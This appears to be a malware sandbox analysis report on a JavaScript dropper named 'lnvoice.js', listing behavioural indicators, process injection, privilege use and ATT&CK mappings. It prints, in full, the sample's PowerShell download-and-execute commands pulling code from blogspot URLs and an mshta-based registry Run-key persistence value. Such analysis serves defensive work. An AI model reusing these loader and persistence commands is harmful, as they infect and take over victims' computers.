acb9edc3989f14d72f7994426388cc89f9e7a2167160b5cfa971fe0b78299288

System Information Discovery

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

Processes:

resource	yara_rule
behavioral2/memory/5344-29-0x0000000000D00000-0x0000000000D86000-memory.dmp	agile_net

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr2 = "mshta \"javascript:dy=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm htlmay5-24.blogspot.com/hehe \| iex);Start-Sleep -Seconds 5;','run']; bv=[dy[3],dy[0],dy[1],dy[2]]; new ActiveXObject(bv[2])[bv[0]](bv[3], 0, true);close();new ActiveXObject(bv[1]).DeleteFile(WScript.ScriptFullName);\"\n"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr1 = "schtasks /run /tn Bookignr1"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

20 bitbucket.org
21 bitbucket.org
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

36 api.ipify.org
37 api.ipify.org
39 ip-api.com

flow	ioc
20	bitbucket.org
21	bitbucket.org

flow	ioc
36	api.ipify.org
37	api.ipify.org
39	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 5892 set thread context of 5344	5892	powershell.exe	RegSvcs.exe
PID 5892 set thread context of 1244	5892	powershell.exe	RegSvcs.exe
PID 5892 set thread context of 5428	5892	powershell.exe	RegSvcs.exe
PID 5892 set thread context of 5516	5892	powershell.exe	RegSvcs.exe
PID 5892 set thread context of 5336	5892	powershell.exe	Msbuild.exe
PID 5892 set thread context of 4440	5892	powershell.exe	Msbuild.exe

Drops file in Windows directory 1 IoCs

Processes:

dw20.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp dw20.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

dw20.exedw20.exedw20.exedw20.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

Processes:

dw20.exedw20.exedw20.exedw20.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exeRegSvcs.exeRegSvcs.exe

pid	process
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
1244	RegSvcs.exe
1244	RegSvcs.exe
5344	RegSvcs.exe
5344	RegSvcs.exe
1244	RegSvcs.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exedw20.exedw20.exedw20.exedw20.exeRegSvcs.exeRegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	5892	powershell.exe
Token: SeRestorePrivilege	2516	dw20.exe
Token: SeBackupPrivilege	2516	dw20.exe
Token: SeRestorePrivilege	1216	dw20.exe
Token: SeBackupPrivilege	1216	dw20.exe
Token: SeRestorePrivilege	2908	dw20.exe
Token: SeBackupPrivilege	2908	dw20.exe
Token: SeBackupPrivilege	1216	dw20.exe
Token: SeBackupPrivilege	1016	dw20.exe
Token: SeBackupPrivilege	1216	dw20.exe
Token: SeBackupPrivilege	2908	dw20.exe
Token: SeBackupPrivilege	1016	dw20.exe
Token: SeBackupPrivilege	1216	dw20.exe
Token: SeBackupPrivilege	1016	dw20.exe
Token: SeBackupPrivilege	2908	dw20.exe
Token: SeDebugPrivilege	1244	RegSvcs.exe
Token: SeDebugPrivilege	5344	RegSvcs.exe
Token: SeBackupPrivilege	2516	dw20.exe
Token: SeBackupPrivilege	2516	dw20.exe
Token: SeIncreaseQuotaPrivilege	5892	powershell.exe
Token: SeSecurityPrivilege	5892	powershell.exe
Token: SeTakeOwnershipPrivilege	5892	powershell.exe
Token: SeLoadDriverPrivilege	5892	powershell.exe
Token: SeSystemProfilePrivilege	5892	powershell.exe
Token: SeSystemtimePrivilege	5892	powershell.exe
Token: SeProfSingleProcessPrivilege	5892	powershell.exe
Token: SeIncBasePriorityPrivilege	5892	powershell.exe
Token: SeCreatePagefilePrivilege	5892	powershell.exe
Token: SeBackupPrivilege	5892	powershell.exe
Token: SeRestorePrivilege	5892	powershell.exe
Token: SeShutdownPrivilege	5892	powershell.exe
Token: SeDebugPrivilege	5892	powershell.exe
Token: SeSystemEnvironmentPrivilege	5892	powershell.exe
Token: SeRemoteShutdownPrivilege	5892	powershell.exe
Token: SeUndockPrivilege	5892	powershell.exe
Token: SeManageVolumePrivilege	5892	powershell.exe
Token: 33	5892	powershell.exe
Token: 34	5892	powershell.exe
Token: 35	5892	powershell.exe
Token: 36	5892	powershell.exe
Token: SeIncreaseQuotaPrivilege	5892	powershell.exe
Token: SeSecurityPrivilege	5892	powershell.exe
Token: SeTakeOwnershipPrivilege	5892	powershell.exe
Token: SeLoadDriverPrivilege	5892	powershell.exe
Token: SeSystemProfilePrivilege	5892	powershell.exe
Token: SeSystemtimePrivilege	5892	powershell.exe
Token: SeProfSingleProcessPrivilege	5892	powershell.exe
Token: SeIncBasePriorityPrivilege	5892	powershell.exe
Token: SeCreatePagefilePrivilege	5892	powershell.exe
Token: SeBackupPrivilege	5892	powershell.exe
Token: SeRestorePrivilege	5892	powershell.exe
Token: SeShutdownPrivilege	5892	powershell.exe
Token: SeDebugPrivilege	5892	powershell.exe
Token: SeSystemEnvironmentPrivilege	5892	powershell.exe
Token: SeRemoteShutdownPrivilege	5892	powershell.exe
Token: SeUndockPrivilege	5892	powershell.exe
Token: SeManageVolumePrivilege	5892	powershell.exe
Token: 33	5892	powershell.exe
Token: 34	5892	powershell.exe
Token: 35	5892	powershell.exe
Token: 36	5892	powershell.exe
Token: SeIncreaseQuotaPrivilege	5892	powershell.exe
Token: SeSecurityPrivilege	5892	powershell.exe
Token: SeTakeOwnershipPrivilege	5892	powershell.exe

Suspicious use of WriteProcessMemory 62 IoCs

Processes:

wscript.exepowershell.exeMsbuild.exeRegSvcs.exeRegSvcs.exeMsbuild.exe

description	pid	process	target process
PID 1068 wrote to memory of 5892	1068	wscript.exe	powershell.exe
PID 1068 wrote to memory of 5892	1068	wscript.exe	powershell.exe
PID 5892 wrote to memory of 5344	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5344	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5344	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5344	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5344	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5344	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5344	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5344	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 1244	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 1244	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 1244	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 1244	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 1244	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 1244	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 1244	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 1244	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5428	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5428	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5428	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5428	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5428	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5428	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5428	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5428	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5516	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5516	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5516	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5516	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5516	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5516	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5516	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5516	5892	powershell.exe	RegSvcs.exe
PID 5892 wrote to memory of 5336	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 5336	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 5336	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 5336	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 5336	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 5336	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 5336	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 5336	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 4440	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 4440	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 4440	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 4440	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 4440	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 4440	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 4440	5892	powershell.exe	Msbuild.exe
PID 5892 wrote to memory of 4440	5892	powershell.exe	Msbuild.exe
PID 5336 wrote to memory of 2908	5336	Msbuild.exe	dw20.exe
PID 5336 wrote to memory of 2908	5336	Msbuild.exe	dw20.exe
PID 5336 wrote to memory of 2908	5336	Msbuild.exe	dw20.exe
PID 5516 wrote to memory of 1016	5516	RegSvcs.exe	dw20.exe
PID 5516 wrote to memory of 1016	5516	RegSvcs.exe	dw20.exe
PID 5516 wrote to memory of 1016	5516	RegSvcs.exe	dw20.exe
PID 5428 wrote to memory of 1216	5428	RegSvcs.exe	dw20.exe
PID 5428 wrote to memory of 1216	5428	RegSvcs.exe	dw20.exe
PID 5428 wrote to memory of 1216	5428	RegSvcs.exe	dw20.exe
PID 4440 wrote to memory of 2516	4440	Msbuild.exe	dw20.exe
PID 4440 wrote to memory of 2516	4440	Msbuild.exe	dw20.exe
PID 4440 wrote to memory of 2516	4440	Msbuild.exe	dw20.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\lnvoice.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;
2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5892

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5344

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1244

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:5428

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 780
4⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1216

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:5516

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 760
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1016

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:5336

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 780
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:2908

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:4440

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 780
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:2516

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

3

System Information Discovery

4

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service